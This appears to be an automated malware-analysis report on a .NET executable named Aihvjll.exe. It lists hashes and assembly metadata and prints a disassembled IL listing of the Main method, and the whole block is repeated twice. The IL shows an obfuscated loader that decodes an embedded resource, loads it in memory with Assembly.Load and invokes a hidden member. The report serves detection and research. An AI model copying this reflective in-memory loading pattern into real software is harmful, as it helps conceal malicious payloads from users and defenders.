Deep Malware Analysis of 84f78a617ffb7b3a2a4291b5eefcf408 | md5: 84f78a617ffb7b3a2a4291b5eefcf408 | Executable | PE (Portable Executable) | Managed .NET | PE File Layout | Win 32 Exe | x86 | .Net | SOS: 0.40

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.

Symbol Obfuscation Score Medium

MD5	84f78a617ffb7b3a2a4291b5eefcf408
Sha1	eaf853877f71471c673bcf22a55cb8dd53c32c47
Sha256	288cbb7498f2c534d38c27b1f94cef2731ea2a5f3e3ef976c596a41c67ff2663
Sha384	ad951d99e74e1867c58714da0b7097bfe3fca28c782ff9960c0c14abd96e365823797f853e3bdd9fdd301eb0bfb3f786
Sha512	fc15f5875ff3a1cf6373b6edf3d31950cd3b69b1b11218e7fda470237b38c898950fb1adea36de3c87d57ff58ce22bf2d7abd84c64f90c39467a8f37a18f1158
SSDeep	24576:0VLTMwdGRbo3L+h2ZfzzS54+fOcmvbz2hSO/GcDGrZMWjom7ZebKIHBmOGI:M0wMNo3Fye+WDX2r/UrZMROIYOJ
TLSH	B865336DB7CA9713D0D1C4FC68297B85D299C8A17AC4FB2FD9DD370116492E1A2A824C

PeID

.NET executableMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual Studio .NET

84f78a617ffb7b3a2a4291b5eefcf408SOS: 0.40
- Structure
- Resources
- .Net Resources

Name	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	Aihvjll.exe
Full Name	Aihvjll.exe
EntryPoint	System.Void Eiwpnsepar.Oekzhfa::Main()
Scope Name	Aihvjll.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Aihvjll
Assembly Version	1.0.5714.6468
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.6
Total Strings	15
Main Method	System.Void Eiwpnsepar.Oekzhfa::Main()
Main IL Instruction Count	124
Main IL	nop <null> ldnull <null> stloc.0 <null> br.s IL_0015: ldc.i4.1 nop <null> nop <null> call System.Byte[] Eiwpnsepar.Properties.Phcnboaihfi::get_e() stloc.0 <null> leave.s IL_001A: ldloc.0 pop <null> nop <null> nop <null> leave.s IL_0014: nop nop <null> ldc.i4.1 <null> stloc.1 <null> ldloc.1 <null> brtrue.s IL_0005: nop ldloc.0 <null> ldnull <null> cgt.un <null> stloc.2 <null> ldloc.2 <null> brfalse.s IL_0025: ldc.i4.1 ldc.i4.0 <null> br.s IL_0028: brtrue IL_0114 ldc.i4.1 <null> br.s IL_0028: brtrue IL_0114 brtrue IL_0114: ret nop <null> ldloc.0 <null> call System.Byte[] Eiwpnsepar.Oekzhfa::a(System.Byte[]) stloc.3 <null> ldloc.3 <null> ldlen <null> ldc.i4.0 <null> cgt.un <null> stloc.s V_4 ldloc.s V_4 brfalse.s IL_0043: ldc.i4.1 ldc.i4.0 <null> br.s IL_0046: brtrue IL_0113 ldc.i4.1 <null> br.s IL_0046: brtrue IL_0113 brtrue IL_0113: nop nop <null> ldloc.3 <null> call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_5 ldloc.s V_5 callvirt System.String System.Reflection.Assembly::get_CodeBase() call System.Boolean System.String::IsNullOrWhiteSpace(System.String) ldc.i4.0 <null> ceq <null> stloc.s V_6 ldloc.s V_6 brfalse.s IL_006C: ldc.i4.1 ldc.i4.0 <null> br.s IL_006F: brtrue IL_0112 ldc.i4.1 <null> br.s IL_006F: brtrue IL_0112 brtrue IL_0112: nop nop <null> br.s IL_009C: ldc.i4.s 19 ldloc.s V_10 ldc.i4.s 18 xor <null> stloc.s V_10 ldloc.s V_10 ldc.i4.s 16 sub <null> switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 19 call System.Int32 j::ac(System.Int32) stloc.s V_10 br.s IL_0077: ldloc.s V_10 ldloc.s V_9 brfalse.s IL_00F0: ldc.i4.1 ldc.i4.6 <null> stloc.s V_10 br.s IL_0077: ldloc.s V_10 ldloc.s V_5 ldloc.s V_7 callvirt System.Type System.Reflection.Assembly::GetType(System.String) stloc.s V_8 ldc.i4.0 <null> stloc.s V_10 br.s IL_0077: ldloc.s V_10 ldloc.s V_8 callvirt System.String System.Type::get_FullName() call System.Boolean System.String::IsNullOrEmpty(System.String) ldc.i4.0 <null> ceq <null> stloc.s V_9 ldc.i4.2 <null> stloc.s V_10 br.s IL_0077: ldloc.s V_10 ldc.i4 4923 call System.String c::a(System.Int32) stloc.s V_7 ldc.i4.s 10 call System.Int32 j::ac(System.Int32) stloc.s V_10 br.s IL_0077: ldloc.s V_10 ldc.i4.0 <null> br.s IL_00F3: brtrue.s IL_0111 ldc.i4.1 <null> br.s IL_00F3: brtrue.s IL_0111 brtrue.s IL_0111: nop nop <null> ldloc.s V_8 ldc.i4 4737 call System.String c::a(System.Int32) ldc.i4 256 ldnull <null> ldnull <null> ldnull <null> callvirt System.Object System.Type::InvokeMember(System.String,System.Reflection.BindingFlags,System.Reflection.Binder,System.Object,System.Object[]) pop <null> nop <null> nop <null> nop <null> nop <null> ret <null>
Module Name	Aihvjll.exe
Full Name	Aihvjll.exe
EntryPoint	System.Void Eiwpnsepar.Oekzhfa::Main()
Scope Name	Aihvjll.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Aihvjll
Assembly Version	1.0.5714.6468
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.6
Total Strings	15
Main Method	System.Void Eiwpnsepar.Oekzhfa::Main()
Main IL Instruction Count	124
Main IL	nop <null> ldnull <null> stloc.0 <null> br.s IL_0015: ldc.i4.1 nop <null> nop <null> call System.Byte[] Eiwpnsepar.Properties.Phcnboaihfi::get_e() stloc.0 <null> leave.s IL_001A: ldloc.0 pop <null> nop <null> nop <null> leave.s IL_0014: nop nop <null> ldc.i4.1 <null> stloc.1 <null> ldloc.1 <null> brtrue.s IL_0005: nop ldloc.0 <null> ldnull <null> cgt.un <null> stloc.2 <null> ldloc.2 <null> brfalse.s IL_0025: ldc.i4.1 ldc.i4.0 <null> br.s IL_0028: brtrue IL_0114 ldc.i4.1 <null> br.s IL_0028: brtrue IL_0114 brtrue IL_0114: ret nop <null> ldloc.0 <null> call System.Byte[] Eiwpnsepar.Oekzhfa::a(System.Byte[]) stloc.3 <null> ldloc.3 <null> ldlen <null> ldc.i4.0 <null> cgt.un <null> stloc.s V_4 ldloc.s V_4 brfalse.s IL_0043: ldc.i4.1 ldc.i4.0 <null> br.s IL_0046: brtrue IL_0113 ldc.i4.1 <null> br.s IL_0046: brtrue IL_0113 brtrue IL_0113: nop nop <null> ldloc.3 <null> call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_5 ldloc.s V_5 callvirt System.String System.Reflection.Assembly::get_CodeBase() call System.Boolean System.String::IsNullOrWhiteSpace(System.String) ldc.i4.0 <null> ceq <null> stloc.s V_6 ldloc.s V_6 brfalse.s IL_006C: ldc.i4.1 ldc.i4.0 <null> br.s IL_006F: brtrue IL_0112 ldc.i4.1 <null> br.s IL_006F: brtrue IL_0112 brtrue IL_0112: nop nop <null> br.s IL_009C: ldc.i4.s 19 ldloc.s V_10 ldc.i4.s 18 xor <null> stloc.s V_10 ldloc.s V_10 ldc.i4.s 16 sub <null> switch dnlib.DotNet.Emit.Instruction[] ldc.i4.s 19 call System.Int32 j::ac(System.Int32) stloc.s V_10 br.s IL_0077: ldloc.s V_10 ldloc.s V_9 brfalse.s IL_00F0: ldc.i4.1 ldc.i4.6 <null> stloc.s V_10 br.s IL_0077: ldloc.s V_10 ldloc.s V_5 ldloc.s V_7 callvirt System.Type System.Reflection.Assembly::GetType(System.String) stloc.s V_8 ldc.i4.0 <null> stloc.s V_10 br.s IL_0077: ldloc.s V_10 ldloc.s V_8 callvirt System.String System.Type::get_FullName() call System.Boolean System.String::IsNullOrEmpty(System.String) ldc.i4.0 <null> ceq <null> stloc.s V_9 ldc.i4.2 <null> stloc.s V_10 br.s IL_0077: ldloc.s V_10 ldc.i4 4923 call System.String c::a(System.Int32) stloc.s V_7 ldc.i4.s 10 call System.Int32 j::ac(System.Int32) stloc.s V_10 br.s IL_0077: ldloc.s V_10 ldc.i4.0 <null> br.s IL_00F3: brtrue.s IL_0111 ldc.i4.1 <null> br.s IL_00F3: brtrue.s IL_0111 brtrue.s IL_0111: nop nop <null> ldloc.s V_8 ldc.i4 4737 call System.String c::a(System.Int32) ldc.i4 256 ldnull <null> ldnull <null> ldnull <null> callvirt System.Object System.Type::InvokeMember(System.String,System.Reflection.BindingFlags,System.Reflection.Binder,System.Object,System.Object[]) pop <null> nop <null> nop <null> nop <null> nop <null> ret <null>